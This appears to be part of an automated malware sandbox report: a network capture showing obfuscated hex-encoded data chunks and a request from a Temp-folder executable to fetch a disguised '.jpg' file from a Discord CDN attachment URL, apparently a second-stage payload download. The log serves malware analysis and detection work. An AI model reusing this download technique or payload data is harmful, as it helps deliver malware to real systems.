2021-10-29 15:55:28 UTC	1451	IN	Data Raw: 57 50 20 57 6b 20 50 55 7a 20 42 50 20 73 50 4f 20 6c 4f 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 7a 73 20 4f 6c 20 50 50 4c 20 57 4f 20 50 42 73 20 50 73 57 20 73 4f 57 20 50 50 4f 20 57 50 20 57 6b 20 50 55 7a 20 42 50 20 50 57 6b 20 6c 57 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 73 4f 73 20 4f 6c 20 50 50 4c 20 57 4f 20 50 42 73 20 50 73 57 20 50 4f 55 20 50 50 4f 20 57 50 20 57 6b 20 50 55 7a 20 42 50 20 57 4f 20 50 50 42 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 50 50 4f 20 50 42 20 73 4f 50 20 57 4f 20 50 6b 42 20 50 6b 4f 20 73 50 20 6c 6c 20 50 6c 55 20 57 6b 20 50 73 42 20 4f 6b 20 50 7a 73 20 50 50 42 20 50 6c 6c 20 50 50 6c 20 57 50 20 50 6b 42 20 50 4f 42 20 50 42 20 73 4f 50 20 57 4f 20 57 7a 20 50 6b 4f 20 50 7a 50 20 6c Data Ascii: WP Wk PUz BP sPO lO OU PPl PWW Psl zs Ol PPL WO PBs PsW sOW PPO WP Wk PUz BP PWk lW OU PPl PWW Psl sOs Ol PPL WO PBs PsW POU PPO WP Wk PUz BP WO PPB OU PPl PWW Psl PPO PB sOP WO PkB PkO sP ll PlU Wk PsB Ok Pzs PPB Pll PPl WP PkB POB PB sOP WO Wz PkO PzP l
2021-10-29 15:55:28 UTC	1455	IN	Data Raw: 20 50 6b 20 50 50 4c 20 57 4f 20 50 42 73 20 50 73 57 20 57 4c 20 7a 6c 20 57 50 20 57 6b 20 50 55 7a 20 42 50 20 50 7a 73 20 73 50 20 73 73 57 20 50 50 6c 20 50 57 57 20 50 73 6c 20 50 4f 42 20 50 50 4c 20 50 42 50 20 57 4f 20 50 42 73 20 50 73 57 20 50 4f 55 20 4f 4f 20 73 73 6c 20 57 6b 20 50 55 7a 20 42 50 20 57 4f 20 73 73 20 73 73 57 20 50 50 6c 20 50 57 57 20 50 73 6c 20 50 7a 20 50 50 4f 20 50 42 50 20 57 4f 20 50 42 73 20 50 73 57 20 57 4c 20 4f 6c 20 73 73 6c 20 57 6b 20 50 55 7a 20 42 50 20 7a 42 20 73 73 20 73 73 57 20 50 50 6c 20 50 57 57 20 50 73 6c 20 73 4c 20 4f 7a 20 50 4c 4f 20 4c 7a 20 50 50 57 20 50 50 4f 20 50 55 4c 20 50 73 57 20 57 57 20 57 6b 20 50 4c 73 20 4c 4f 20 50 6b 50 20 7a 4f 20 50 55 7a 20 50 6b 50 20 57 6b 20 50 50 73 20 Data Ascii: Pk PPL WO PBs PsW WL zl WP Wk PUz BP Pzs sP ssW PPl PWW Psl POB PPL PBP WO PBs PsW POU OO ssl Wk PUz BP WO ss ssW PPl PWW Psl Pz PPO PBP WO PBs PsW WL Ol ssl Wk PUz BP zB ss ssW PPl PWW Psl sL Oz PLO Lz PPW PPO PUL PsW WW Wk PLs LO PkP zO PUz PkP Wk PPs
2021-10-29 15:55:28 UTC	1459	IN	Data Raw: 4c 20 73 6b 4c 20 4f 4c 20 4f 7a 20 57 6b 20 73 73 6b 20 50 6b 42 20 50 6c 55 20 50 6b 7a 20 50 50 50 20 50 50 73 20 4c 55 20 4f 7a 20 4f 55 20 57 4f 20 7a 42 20 50 50 4f 20 73 4f 6b 20 50 6b 55 20 50 50 6c 20 57 6b 20 4f 55 20 57 6b 20 50 6c 42 20 7a 4f 20 50 50 55 20 50 50 6c 20 50 50 50 20 50 50 73 20 50 7a 50 20 4f 7a 20 57 4c 20 57 4f 20 7a 57 20 50 50 4f 20 73 57 4c 20 50 6b 55 20 50 50 55 20 57 6b 20 57 6b 20 57 6b 20 50 6c 4f 20 7a 4f 20 50 73 4c 20 50 50 6c 20 50 6b 7a 20 50 50 73 20 50 6c 50 20 4f 7a 20 57 55 20 57 4f 20 7a 42 20 50 50 4f 20 73 73 4c 20 50 6b 55 20 50 73 4c 20 57 6b 20 57 6b 20 57 6b 20 73 4f 4c 20 7a 4f 20 50 73 6c 20 50 50 6c 20 50 50 50 20 50 50 73 20 73 57 57 20 4f 7a 20 42 50 20 57 4f 20 7a 42 20 50 50 4f 20 50 57 73 20 50 Data Ascii: L skL OL Oz Wk ssk PkB PlU Pkz PPP PPs LU Oz OU WO zB PPO sOk PkU PPl Wk OU Wk PlB zO PPU PPl PPP PPs PzP Oz WL WO zW PPO sWL PkU PPU Wk Wk Wk PlO zO PsL PPl Pkz PPs PlP Oz WU WO zB PPO ssL PkU PsL Wk Wk Wk sOL zO Psl PPl PPP PPs sWW Oz BP WO zB PPO PWs P
2021-10-29 15:55:28 UTC	1463	IN	Data Raw: 4c 50 20 50 50 6c 20 73 4f 4f 20 50 50 73 20 50 4f 42 20 4f 7a 20 50 57 6c 20 57 4f 20 73 4c 4f 20 50 50 4f 20 50 57 6c 20 50 6b 55 20 50 4c 73 20 57 6b 20 57 55 20 57 50 20 4c 4c 20 7a 57 20 55 73 20 50 50 42 20 7a 6c 20 50 50 4c 20 55 55 20 4f 55 20 50 50 50 20 57 57 20 50 55 55 20 50 50 57 20 50 7a 42 20 50 6b 7a 20 50 73 6b 20 4f 7a 20 73 55 20 4f 7a 20 50 73 4f 20 7a 42 20 4c 57 20 50 50 55 20 42 7a 20 50 50 42 20 7a 6b 20 57 73 20 6c 4c 20 57 6b 20 73 73 6c 20 50 50 7a 20 50 6b 50 20 50 6b 4f 20 4c 57 20 57 57 20 50 6b 57 20 57 57 20 7a 4c 20 7a 50 20 73 4c 7a 20 50 50 73 20 73 6b 50 20 50 50 6c 20 50 57 7a 20 57 4c 20 73 6b 6c 20 57 50 20 50 6c 20 50 50 42 20 4c 73 20 50 6b 6c 20 73 57 20 57 73 20 50 42 4f 20 57 73 20 73 6b 50 20 7a 73 20 50 73 73 Data Ascii: LP PPl sOO PPs POB Oz PWl WO sLO PPO PWl PkU PLs Wk WU WP LL zW Us PPB zl PPL UU OU PPP WW PUU PPW PzB Pkz Psk Oz sU Oz PsO zB LW PPU Bz PPB zk Ws lL Wk ssl PPz PkP PkO LW WW PkW WW zL zP sLz PPs skP PPl PWz WL skl WP Pl PPB Ls Pkl sW Ws PBO Ws skP zs Pss
2021-10-29 15:55:28 UTC	1467	IN	Data Raw: 7a 20 50 50 6c 20 4f 6b 20 50 50 73 20 6c 4c 20 4f 7a 20 50 50 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 73 6c 20 57 6b 20 73 6b 20 4f 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 57 4f 20 50 50 4c 20 73 73 20 4f 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 4c 73 20 50 6b 7a 20 7a 4f 20 4f 6b 20 4f 7a 20 57 6b 20 57 6b 20 7a 4f 20 50 55 55 20 50 50 42 20 6c 4c 20 50 6b 42 20 57 20 4f 7a 20 50 42 42 20 57 4f 20 55 6b 20 50 50 4f 20 50 50 42 20 50 6b 7a 20 50 73 42 20 57 6b 20 73 6b 20 57 50 20 57 42 20 7a 4f 20 57 4c 20 50 50 42 20 55 55 20 50 50 73 20 7a 7a 20 4f 55 20 50 6c 4c 20 57 4f 20 73 6b 55 20 50 50 73 20 73 50 73 20 50 6b 55 20 73 4f 57 20 4f 7a 20 50 6c 73 20 57 50 20 50 42 7a 20 7a 42 20 50 55 7a 20 50 50 42 20 73 Data Ascii: z PPl Ok PPs lL Oz PPU WO zO PPO PPl PkU Psl Wk sk Ok WO zO PPO PPl sWO PPL ss Os Wk WO zO PPO sLs Pkz zO Ok Oz Wk Wk zO PUU PPB lL PkB W Oz PBB WO Uk PPO PPB Pkz PsB Wk sk WP WB zO WL PPB UU PPs zz OU PlL WO skU PPs sPs PkU sOW Oz Pls WP PBz zB PUz PPB s
2021-10-29 15:55:28 UTC	1470	IN	Data Raw: 42 42 20 7a 4c 20 55 50 20 4c 55 20 6c 42 20 73 4c 20 57 6b 20 4f 6c 20 50 6b 20 50 50 50 20 73 20 57 4f 20 50 6b 4f 20 6c 42 20 6c 42 20 57 6b 20 4f 6c 20 50 50 20 50 50 50 20 73 20 57 4f 20 50 6b 4f 20 57 50 20 4c 20 50 73 20 73 57 20 55 4f 20 7a 50 20 7a 6b 20 55 6b 20 4f 55 20 42 73 20 73 6b 20 4c 20 73 4c 20 6c 50 20 7a 50 20 7a 57 20 7a 4c 20 4c 55 20 6c 42 20 73 4c 20 57 6b 20 4f 6c 20 50 50 20 50 50 50 20 73 20 57 4f 20 50 6b 4f 20 55 73 20 73 73 20 73 57 20 4c 50 20 42 4f 20 50 4f 20 7a 6b 20 50 6b 57 20 50 50 20 42 42 20 50 50 6c 20 7a 50 20 6c 7a 20 42 42 20 50 50 50 20 50 6b 55 20 42 20 7a 4f 20 73 50 20 4f 73 20 4f 6b 20 4f 6c 20 7a 50 20 50 50 50 20 73 73 42 20 50 4f 6b 20 50 50 20 42 42 20 50 50 6c 20 55 6b 20 42 57 20 50 6b 20 50 50 42 20 Data Ascii: BB zL UP LU lB sL Wk Ol Pk PPP s WO PkO lB lB Wk Ol PP PPP s WO PkO WP L Ps sW UO zP zk Uk OU Bs sk L sL lP zP zW zL LU lB sL Wk Ol PP PPP s WO PkO Us ss sW LP BO PO zk PkW PP BB PPl zP lz BB PPP PkU B zO sP Os Ok Ol zP PPP ssB POk PP BB PPl Uk BW Pk PPB
2021-10-29 15:55:28 UTC	1486	IN	Data Raw: 20 6c 6b 20 7a 4f 20 6c 50 20 50 50 20 57 20 50 50 42 20 57 4f 20 50 6c 20 42 55 20 42 55 20 7a 7a 20 57 50 20 4f 20 4c 20 42 20 4c 20 73 4c 20 42 4f 20 42 6c 20 4f 4f 20 57 4f 20 50 6b 20 73 20 50 50 55 20 6b 20 55 42 20 57 4f 20 6c 50 20 55 57 20 57 73 20 50 50 73 20 50 50 6c 20 42 20 73 20 73 73 20 42 4f 20 57 73 20 55 4f 20 42 55 20 4c 20 4f 20 50 50 42 20 4f 20 50 7a 20 42 42 20 42 6c 20 4f 4c 20 50 50 73 20 50 6b 20 50 50 57 20 42 20 50 57 20 50 7a 20 42 55 20 6c 6c 20 4f 4f 20 42 4f 20 4f 20 50 50 6c 20 57 20 6c 20 50 6b 50 20 4f 55 20 57 50 20 55 4c 20 57 4c 20 6b 20 50 20 4c 20 57 20 55 42 20 57 4f 20 42 55 20 4f 6c 20 42 4f 20 50 50 20 50 20 50 50 20 50 4f 20 55 6c 20 42 57 20 6c 6b 20 55 50 20 57 50 20 50 50 4c 20 4c 20 57 20 50 50 73 20 7a 4f Data Ascii: lk zO lP PP W PPB WO Pl BU BU zz WP O L B L sL BO Bl OO WO Pk s PPU k UB WO lP UW Ws PPs PPl B s ss BO Ws UO BU L O PPB O Pz BB Bl OL PPs Pk PPW B PW Pz BU ll OO BO O PPl W l PkP OU WP UL WL k P L W UB WO BU Ol BO PP P PP PO Ul BW lk UP WP PPL L W PPs zO
2021-10-29 15:55:28 UTC	1502	IN	Data Raw: 20 4c 57 20 7a 20 73 20 42 57 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 57 4c 20 50 42 20 73 57 20 4c 55 20 55 50 20 55 4f 20 7a 42 20 7a 55 20 4c 57 20 50 20 4c 57 20 7a 20 73 20 42 57 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 4f 20 50 42 20 4c 50 20 4c 20 55 50 20 55 57 20 55 73 20 57 4f 20 57 50 20 73 4c 20 50 20 57 6b 20 4f 55 20 6c 50 20 42 7a 20 55 6b 20 7a 4c 20 57 7a 20 42 20 73 7a 20 50 4f 20 50 6c 20 6c 6b 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 4f 73 20 42 4f 20 55 4c 20 6c 4c 20 55 6c 20 7a 57 20 42 4f 20 42 4f 20 42 50 20 50 6c 20 50 42 20 4f 42 20 73 50 20 42 4f 20 42 7a 20 55 50 20 7a 6b 20 42 50 20 50 6c 20 73 6b 20 73 57 20 73 50 20 50 50 57 20 42 55 20 6c 6b 20 55 4f 20 4f 55 20 73 7a 20 50 20 4f 20 50 55 20 7a 4c 20 42 7a 20 55 50 20 7a 55 20 Data Ascii: LW z s BW zU UL zz zO WL PB sW LU UP UO zB zU LW P LW z s BW zU UL zz zO O PB LP L UP UW Us WO WP sL P Wk OU lP Bz Uk zL Wz B sz PO Pl lk zU UL zz zO Os BO UL lL Ul zW BO BO BP Pl PB OB sP BO Bz UP zk BP Pl sk sW sP PPW BU lk UO OU sz P O PU zL Bz UP zU
2021-10-29 15:55:28 UTC	1518	IN	Data Raw: 57 4f 20 7a 4c 20 55 4c 20 55 50 20 55 6b 20 4f 57 20 50 50 4f 20 57 73 20 4c 20 55 20 57 6b 20 55 55 20 7a 6c 20 55 6b 20 4f 55 20 50 6c 20 50 20 4c 73 20 50 6c 20 55 73 20 6c 4c 20 57 6b 20 50 50 42 20 57 42 20 73 55 20 73 73 20 42 20 57 50 20 55 4c 20 42 4f 20 6c 57 20 57 4f 20 4f 55 20 73 7a 20 50 20 4c 50 20 4c 50 20 42 42 20 6c 4c 20 57 6b 20 50 73 73 20 57 55 20 50 55 20 50 6c 20 4c 4c 20 73 57 20 7a 6b 20 42 42 20 7a 4c 20 42 7a 20 4f 57 20 50 50 4f 20 57 4f 20 73 20 73 7a 20 55 4f 20 7a 57 20 7a 50 20 42 42 20 73 57 20 73 4c 20 73 4f 20 73 20 73 20 6c 57 20 4f 7a 20 50 50 4c 20 55 4f 20 57 4c 20 73 7a 20 73 6c 20 7a 20 73 7a 20 50 50 42 20 7a 50 20 7a 50 20 42 42 20 57 55 20 6b 20 50 73 20 50 6b 55 20 4c 57 20 7a 6c 20 55 4f 20 7a 42 20 7a 4c 20 Data Ascii: WO zL UL UP Uk OW PPO Ws L U Wk UU zl Uk OU Pl P Ls Pl Us lL Wk PPB WB sU ss B WP UL BO lW WO OU sz P LP LP BB lL Wk Pss WU PU Pl LL sW zk BB zL Bz OW PPO WO s sz UO zW zP BB sW sL sO s s lW Oz PPL UO WL sz sl z sz PPB zP zP BB WU k Ps PkU LW zl UO zB zL
2021-10-29 15:55:28 UTC	1534	IN	Data Raw: 7a 20 50 6b 50 20 50 50 42 20 4f 7a 20 55 50 20 57 4f 20 57 42 20 50 50 4f 20 50 42 20 50 6b 55 20 4c 57 20 57 6b 20 6c 4c 20 57 6b 20 42 55 20 7a 4f 20 42 20 50 50 6c 20 7a 20 50 50 73 20 55 57 20 4f 7a 20 57 6b 20 50 7a 73 20 73 57 50 20 4c 4c 20 50 50 6c 20 42 73 20 50 50 73 20 6c 57 20 4f 7a 20 42 57 20 57 4f 20 4c 73 20 50 50 4f 20 50 42 20 50 6b 55 20 73 55 20 57 6b 20 4c 6b 20 57 6b 20 50 50 57 20 7a 4f 20 42 73 20 50 50 6c 20 4f 6b 20 50 50 73 20 50 50 4c 20 4f 7a 20 50 6b 73 20 57 4f 20 50 50 42 20 50 50 4f 20 55 57 20 50 6b 55 20 7a 6b 20 57 6b 20 50 50 7a 20 57 6b 20 50 6b 6b 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 6b 20 50 50 73 20 42 57 20 4f 7a 20 6c 6b 20 57 4f 20 4f 55 20 50 50 4f 20 73 4f 20 50 6b 55 20 55 4f 20 57 6b 20 50 73 6c 20 57 6b 20 Data Ascii: z PkP PPB Oz UP WO WB PPO PB PkU LW Wk lL Wk BU zO B PPl z PPs UW Oz Wk Pzs sWP LL PPl Bs PPs lW Oz BW WO Ls PPO PB PkU sU Wk Lk Wk PPW zO Bs PPl Ok PPs PPL Oz Pks WO PPB PPO UW PkU zk Wk PPz Wk Pkk zO LL PPl sk PPs BW Oz lk WO OU PPO sO PkU UO Wk Psl Wk
2021-10-29 15:55:28 UTC	1550	IN	Data Raw: 50 7a 6b 20 50 42 50 20 50 50 55 20 7a 57 20 50 6b 55 20 55 7a 20 50 6c 42 20 73 6b 50 20 57 73 20 73 73 20 7a 57 20 55 42 20 73 4f 6c 20 50 4f 4f 20 50 73 6b 20 57 7a 20 50 4c 57 20 6c 73 20 50 6b 42 20 73 20 50 6b 6c 20 42 57 20 50 4f 50 20 73 4f 55 20 57 7a 20 50 73 7a 20 50 4c 20 50 6b 57 20 4f 4c 20 55 55 20 50 42 6b 20 50 6b 4c 20 6c 4f 20 57 7a 20 50 20 50 4f 50 20 50 4f 20 73 20 73 73 4c 20 42 6c 20 4c 57 20 42 55 20 57 50 20 4f 7a 20 57 50 20 57 57 20 7a 57 20 50 50 73 20 50 50 42 20 50 50 6b 20 50 50 42 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 6b 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 4f 20 57 6b 20 57 6b 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 7a 20 50 6b 55 20 50 50 73 20 57 6b 20 57 73 20 57 4f 20 57 4f 20 7a 4f 20 50 50 4f 20 Data Ascii: Pzk PBP PPU zW PkU Uz PlB skP Ws ss zW UB sOl POO Psk Wz PLW ls PkB s Pkl BW POP sOU Wz Psz PL PkW OL UU PBk PkL lO Wz P POP PO s ssL Bl LW BU WP Oz WP WW zW PPs PPB PPk PPB Wk Oz Wk WO zk PPW PPl PkU PPs WO Wk Wk WO zO PPz PPz PkU PPs Wk Ws WO WO zO PPO
2021-10-29 15:55:28 UTC	1566	IN	Data Raw: 57 4f 20 50 73 73 20 50 50 4f 20 4f 42 20 50 6b 55 20 4f 4f 20 57 6b 20 6c 50 20 57 6b 20 50 6b 50 20 7a 4f 20 42 20 50 50 6c 20 4c 50 20 50 50 73 20 55 50 20 4f 7a 20 55 73 20 57 4f 20 57 50 20 50 50 4f 20 7a 7a 20 50 6b 55 20 4f 57 20 57 6b 20 6c 57 20 57 6b 20 4f 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 57 20 50 50 73 20 42 4f 20 4f 7a 20 55 50 20 57 4f 20 57 7a 20 50 50 4f 20 50 7a 20 50 6b 55 20 6c 50 20 57 6b 20 6c 6c 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 42 42 20 4f 7a 20 42 4f 20 57 4f 20 57 55 20 50 50 4f 20 50 55 20 50 6b 55 20 73 57 20 57 6b 20 55 73 20 57 6b 20 7a 4c 20 7a 4f 20 50 20 50 50 6c 20 4f 55 20 50 50 73 20 50 6b 50 20 4f 7a 20 55 50 20 57 4f 20 57 7a 20 50 50 4f 20 50 6c 20 50 6b 55 20 4c 50 20 57 Data Ascii: WO Pss PPO OB PkU OO Wk lP Wk PkP zO B PPl LP PPs UP Oz Us WO WP PPO zz PkU OW Wk lW Wk O zO LL PPl sW PPs BO Oz UP WO Wz PPO Pz PkU lP Wk ll Wk WO zO PPO PPl PkU PPs BB Oz BO WO WU PPO PU PkU sW Wk Us Wk zL zO P PPl OU PPs PkP Oz UP WO Wz PPO Pl PkU LP W
2021-10-29 15:55:28 UTC	1582	IN	Data Raw: 20 57 6b 20 50 6b 6b 20 7a 4f 20 73 4c 20 50 50 6c 20 73 55 20 50 50 73 20 55 4f 20 4f 7a 20 7a 4c 20 57 4f 20 57 57 20 50 50 4f 20 50 42 20 50 6b 55 20 4c 20 57 6b 20 7a 57 20 57 6b 20 42 7a 20 7a 4f 20 73 7a 20 50 50 6c 20 50 73 20 50 50 73 20 55 57 20 4f 7a 20 7a 6c 20 57 4f 20 7a 20 50 50 4f 20 4f 6b 20 50 6b 55 20 55 57 20 57 6b 20 6c 6b 20 57 6b 20 7a 6c 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 57 20 50 50 73 20 42 4f 20 4f 7a 20 55 50 20 57 4f 20 57 7a 20 50 50 4f 20 50 7a 20 50 6b 55 20 55 4f 20 57 6b 20 55 7a 20 57 6b 20 7a 4c 20 7a 4f 20 73 20 50 50 6c 20 50 20 50 50 73 20 7a 4c 20 4f 7a 20 7a 50 20 57 4f 20 4f 55 20 50 50 4f 20 73 57 20 50 6b 55 20 57 20 57 6b 20 7a 57 20 57 6b 20 50 73 73 20 7a 4f 20 73 55 20 50 50 6c 20 50 4f 20 50 50 73 20 7a 4c Data Ascii: Wk Pkk zO sL PPl sU PPs UO Oz zL WO WW PPO PB PkU L Wk zW Wk Bz zO sz PPl Ps PPs UW Oz zl WO z PPO Ok PkU UW Wk lk Wk zl zO LL PPl sW PPs BO Oz UP WO Wz PPO Pz PkU UO Wk Uz Wk zL zO s PPl P PPs zL Oz zP WO OU PPO sW PkU W Wk zW Wk Pss zO sU PPl PO PPs zL
2021-10-29 15:55:28 UTC	1598	IN	Data Raw: 20 73 57 57 20 73 57 57 20 55 7a 20 73 57 57 20 73 57 57 20 73 57 57 20 50 50 42 20 73 57 57 20 73 57 57 20 73 57 57 20 50 4f 42 20 73 57 57 20 73 57 57 20 73 57 57 20 50 57 4c 20 73 57 57 20 73 57 57 20 73 57 57 20 73 73 73 20 57 7a 20 55 20 50 73 20 6c 20 4c 50 20 73 57 4f 20 4f 7a 20 4c 20 73 4c 20 4f 4c 20 50 20 6c 20 42 55 20 73 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 50 4c 73 20 73 57 57 20 73 57 57 20 73 57 57 20 73 73 73 20 4c 73 20 50 50 6c 20 4c 6c 20 6b 20 6b 20 50 20 73 6b 20 73 57 4f 20 4c 20 6c 20 73 73 20 73 57 4f 20 4c 20 55 57 20 7a 20 73 73 20 73 57 4f 20 50 20 55 57 20 73 57 4f 20 50 6c 20 50 50 42 20 4c 6c 20 6b 20 6b 20 50 20 4f 6b 20 4f 4c 20 6b 20 6b 20 50 6b 20 73 73 73 20 50 55 7a 20 4c 73 20 57 50 20 6b 20 50 6b 20 50 73 7a Data Ascii: sWW sWW Uz sWW sWW sWW PPB sWW sWW sWW POB sWW sWW sWW PWL sWW sWW sWW sss Wz U Ps l LP sWO Oz L sL OL P l BU s k k k k k k k PLs sWW sWW sWW sss Ls PPl Ll k k P sk sWO L l ss sWO L UW z ss sWO P UW sWO Pl PPB Ll k k P Ok OL k k Pk sss PUz Ls WP k Pk Psz
2021-10-29 15:55:28 UTC	1614	IN	Data Raw: 55 6c 20 50 50 6b 20 55 55 20 50 6b 50 20 6b 20 6c 50 20 50 6b 50 20 50 50 42 20 6c 73 20 55 6c 20 50 50 57 20 50 6b 4f 20 42 6c 20 50 50 50 20 50 6b 6b 20 50 6b 50 20 6b 20 6c 4c 20 50 50 6b 20 50 50 7a 20 50 50 50 20 50 6b 6c 20 50 6b 50 20 6b 20 7a 73 20 50 50 6c 20 50 50 6b 20 50 50 42 20 50 6b 57 20 50 6b 55 20 50 6b 50 20 6c 6b 20 50 6b 57 20 50 6b 50 20 50 6b 7a 20 50 6b 6b 20 6c 73 20 55 6c 20 50 50 6b 20 50 6b 6b 20 50 6b 7a 20 50 6b 50 20 6b 20 7a 73 20 50 50 6c 20 50 50 6b 20 50 50 42 20 50 6b 57 20 50 6b 55 20 50 6b 50 20 7a 4f 20 50 73 50 20 50 50 73 20 50 6b 50 20 6c 73 20 55 6c 20 50 50 6b 20 50 6b 6b 20 50 6b 7a 20 50 6b 50 20 6b 20 6c 50 20 50 6b 50 20 50 50 42 20 7a 4f 20 50 73 50 20 50 50 73 20 50 6b 50 20 6c 6b 20 50 50 4f 20 50 50 50 Data Ascii: Ul PPk UU PkP k lP PkP PPB ls Ul PPW PkO Bl PPP Pkk PkP k lL PPk PPz PPP Pkl PkP k zs PPl PPk PPB PkW PkU PkP lk PkW PkP Pkz Pkk ls Ul PPk Pkk Pkz PkP k zs PPl PPk PPB PkW PkU PkP zO PsP PPs PkP ls Ul PPk Pkk Pkz PkP k lP PkP PPB zO PsP PPs PkP lk PPO PPP
2021-10-29 15:55:28 UTC	1630	IN	Data Raw: 73 20 50 7a 6c 20 73 73 4f 20 50 42 4c 20 50 57 6c 20 73 73 4f 20 50 42 73 20 50 6c 42 20 73 73 4f 20 50 42 73 20 50 6c 7a 20 73 73 4f 20 50 42 73 20 50 6c 4f 20 73 73 4f 20 50 42 73 20 50 6c 7a 20 6b 20 73 4c 55 20 50 42 7a 20 50 4c 4c 20 73 4c 55 20 50 42 7a 20 50 57 6c 20 73 4c 55 20 50 42 6c 20 50 42 57 20 73 4c 55 20 50 42 7a 20 50 4c 6c 20 73 4c 55 20 50 42 7a 20 50 4f 6b 20 73 4c 55 20 50 42 6c 20 50 57 57 20 73 4c 55 20 50 42 6c 20 50 57 73 20 73 4c 55 20 50 42 7a 20 50 4c 42 20 73 4c 55 20 50 42 7a 20 50 4c 4f 20 73 4c 55 20 50 42 7a 20 50 4c 57 20 73 4c 55 20 50 42 7a 20 50 4c 6c 20 73 4c 55 20 50 42 7a 20 50 4c 42 20 73 4c 55 20 50 42 6c 20 50 57 6c 20 73 4c 55 20 50 42 7a 20 50 4f 42 20 73 4c 55 20 50 42 6c 20 50 6c 7a 20 6b 20 73 4c 55 20 50 Data Ascii: s Pzl ssO PBL PWl ssO PBs PlB ssO PBs Plz ssO PBs PlO ssO PBs Plz k sLU PBz PLL sLU PBz PWl sLU PBl PBW sLU PBz PLl sLU PBz POk sLU PBl PWW sLU PBl PWs sLU PBz PLB sLU PBz PLO sLU PBz PLW sLU PBz PLl sLU PBz PLB sLU PBl PWl sLU PBz POB sLU PBl Plz k sLU P

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49835	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:36 UTC	1644	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 15:55:36 UTC	1644	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:36 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5d96cedd436910-FRA Accept-Ranges: bytes Age: 271232 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Sat, 29 Oct 2022 15:55:36 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iJlkgbibLIMSlUGiMfCZwejwabfzDvXFxSZllkmxI3wWuo1BmEa92bGlHdRAk3E0QtaFw98JQwDDJIuBV187YaGDPB5GPpW4rl%2Bn7XSu4oQqW7RJFCi4Dtzlk8L5FAD9RTGrlQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 15:55:36 UTC	1645	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 15:55:36 UTC	1645	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt 